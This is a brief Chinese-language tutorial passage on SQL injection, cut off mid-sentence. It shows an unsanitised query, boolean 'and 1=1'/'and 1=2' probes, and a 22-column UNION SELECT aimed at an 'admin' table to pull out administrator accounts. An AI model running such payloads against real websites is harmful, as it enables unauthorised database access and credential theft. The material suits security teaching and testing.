注入中发生了什么
脚本内sql语句
sql="select * from product where id=&id"
访问1137这个界面
select * from product where id=1137
访问1137 and 1=1 这是相等的访问
select * from product where id=1137 and 1=1 正常
select * from product where id=1137 and 1=2 报错
select * from product where id=1137 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
一个正常的url访问
通过脚本进行数据库交互进行访问
注入指定管理员
可以注入出指定的管理员 避免某些管理员是普通权限
我们可以进行 where id=xx索引 但是我们并不知道id等于多少
我们在这里进行id查询
获得了id是多少之后我们进行where id=39 进行查询
我们进行拓展查询 尝试id=40 id=41
我们也可以查询一些其他内容
注:where 可以指定任何表内存在的字段名 只要相应的值正确就可以
and or xor 逻辑关系
and 且
and 1=1 返